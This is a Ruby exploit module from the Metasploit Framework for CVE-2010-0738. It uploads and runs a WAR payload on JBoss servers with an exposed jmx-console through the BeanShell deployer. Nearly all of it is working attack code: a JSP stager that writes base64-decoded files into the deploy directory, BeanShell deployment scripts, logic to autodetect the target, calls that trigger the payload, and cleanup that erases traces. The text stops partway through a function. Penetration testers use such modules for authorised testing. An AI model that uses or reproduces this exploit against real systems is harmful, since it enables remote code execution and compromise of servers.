## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment', 'Description' => %q{ This module can be used to install a WAR file payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:BSHDeployer\'s createScriptDeployment() method. }, 'Author' => [ 'Patrick Hof', 'jduck', 'Konrads Smelkovs', 'h0ng10' ], 'License' => BSD_LICENSE, 'References' => [ [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], ], 'Privileged' => true, 'Platform' => ['java', 'win', 'linux' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # # do target detection but java meter by default # detect via /manager/serverinfo # [ 'Automatic (Java based)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], # # Java version # [ 'Java Universal', { 'Platform' => 'java', 'Arch' => ARCH_JAVA, } ] ], 'DisclosureDate' => "Apr 26 2010", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]), OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]) ], self.class) end def exploit jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) # Dynamic variables, only used if we need a stager stager_base = rand_text_alpha(8+rand(8)) stager_jsp_name = rand_text_alpha(8+rand(8)) content_var = rand_text_alpha(8+rand(8)) decoded_var = rand_text_alpha(8+rand(8)) file_path_var = rand_text_alpha(8+rand(8)) jboss_home_var = rand_text_alpha(8+rand(8)) fos_var = rand_text_alpha(8+rand(8)) # The following jsp script will write the exploded WAR file to the deploy/ # directory. This is used to bypass the size limit for GET/HEAD requests stager_jsp = <<-EOT <%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder" %> <% if (request.getParameter("#{content_var}") != null) { String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; try { String #{content_var} = ""; #{content_var} = request.getParameter("#{content_var}"); FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); #{fos_var}.write(#{decoded_var}); #{fos_var}.close(); } catch(Exception e){ } } %> EOT p = payload mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end arch = mytarget.arch # set arch/platform from the target plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] # We must regenerate the payload in case our auto-magic changed something. return if ((p = exploit_regenerate_payload(plat, arch)) == nil) # Generate the WAR containing the payload war_data = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') if datastore['VERB'] == 'POST' then deploy_payload_bsh(encoded_payload, app_base) else # We need to deploy a stager first encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '') deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name) # now we call the stager to deploy our real payload war stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}" print_status("Calling stager to deploy final payload") call_uri_mtimes(stager_uri, 5, 'POST', payload_data) end # # EXECUTE # uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Calling JSP file with final payload...") print_status("Executing #{uri}...") # The payload doesn't like POST requests tmp_verb = datastore['VERB'] tmp_verb = 'GET' if tmp_verb == 'POST' call_uri_mtimes(uri, 5, tmp_verb) # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. delete_script = <<-EOT String jboss_home = System.getProperty("jboss.server.home.dir"); new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); EOT delete_stager_script = <<-EOT String jboss_home = System.getProperty("jboss.server.home.dir"); new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete(); new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete(); new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); EOT delete_script = delete_stager_script if datastore['VERB'] != 'POST' print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...") res = invoke_bshscript(delete_script, @pkg) if !res print_warning("WARNING: Unable to remove WAR [No Response]") end if (res.code < 200 || res.code >= 300) print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end handler end def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name) jsp_file_var = rand_text_alpha(8+rand(8)) jboss_home_var = rand_text_alpha(8+rand(8)) fstream_var = rand_text_alpha(8+rand(8)) byteval_var = rand_text_alpha(8+rand(8)) stager_var = rand_text_alpha(8+rand(8)) decoder_var = rand_text_alpha(8+rand(8)) # The following Beanshell script will write a short stager application into the deploy # directory. This stager script is then used to install the payload # # This is neccessary to overcome the size limit for GET/HEAD requests stager_bsh_script = <<-EOT import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String #{stager_var} = "#{encoded_stager_code}"; BASE64Decoder #{decoder_var} = new BASE64Decoder(); String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir(); byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var}); String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}"; FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var}); #{fstream_var}.write(#{byteval_var}); #{fstream_var}.close(); EOT print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer") deploy_bsh(stager_bsh_script) end def deploy_payload_bsh(encoded_payload, app_base) # The following Beanshell script will write the exploded WAR file to the deploy/ # directory payload_bsh_script = <<-EOT import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val = "#{encoded_payload}"; BASE64Decoder decoder = new BASE64Decoder(); String jboss_home = System.getProperty("jboss.server.home.dir"); byte[] byteval = decoder.decodeBuffer(val); String war_file = jboss_home + "/deploy/#{app_base + '.war'}"; FileOutputStream fstream = new FileOutputStream(war_file); fstream.write(byteval); fstream.close(); EOT print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer") deploy_bsh(payload_bsh_script) end def deploy_bsh(bsh_script) if datastore['PACKAGE'] == 'auto' packages = %w{ deployer scripts } else packages = [ datastore['PACKAGE'] ] end success = false packages.each do |p| print_status("Attempting to use '#{p}' as package") res = invoke_bshscript(bsh_script, p) if !res fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]") end if (res.code < 200 || res.code >= 300) case res.code when 401 print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end print_error("Upload to deploy WAR [#{res.code} #{res.message}]") fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}") else success = true @pkg = p break end end if not success fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload") end end def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) verb = datastore['VERB'] if verb.nil? # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| if (verb == "POST") res = send_request_cgi( { 'uri' => uri, 'method' => verb, 'data' => data }, 5) else uri += "?#{data}" unless data.nil? res = send_request_cgi( { 'uri' => uri, 'method' => verb }, 30) end msg = nil if (!res) msg = "Execution failed on #{uri} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "http request failed to #{uri} [#{res.code}]" elsif (res.code == 200) print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end if (attempt < num_attempts - 1) msg << ", retrying in 5 seconds..." print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else print_error(msg) return res end end end def auto_target if datastore['VERB'] == 'HEAD' then print_status("Sorry, automatic target detection doesn't work with HEAD requests") else print_status("Attempting to automatically select a target...") res = query_serverinfo if not (plat = detect_platform(res)) fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') end if not (arch = detect_architecture(res)) fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') end # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } end # no matching target found, use Java as fallback java_targets = targets.select {|t| t.name =~ /^Java/ } return java_targets[0] end def query_serverinfo path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, 'method' => datastore['VERB'] }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end res end # Try to autodetect the target platform def detect_platform(res) if (res.body =~ /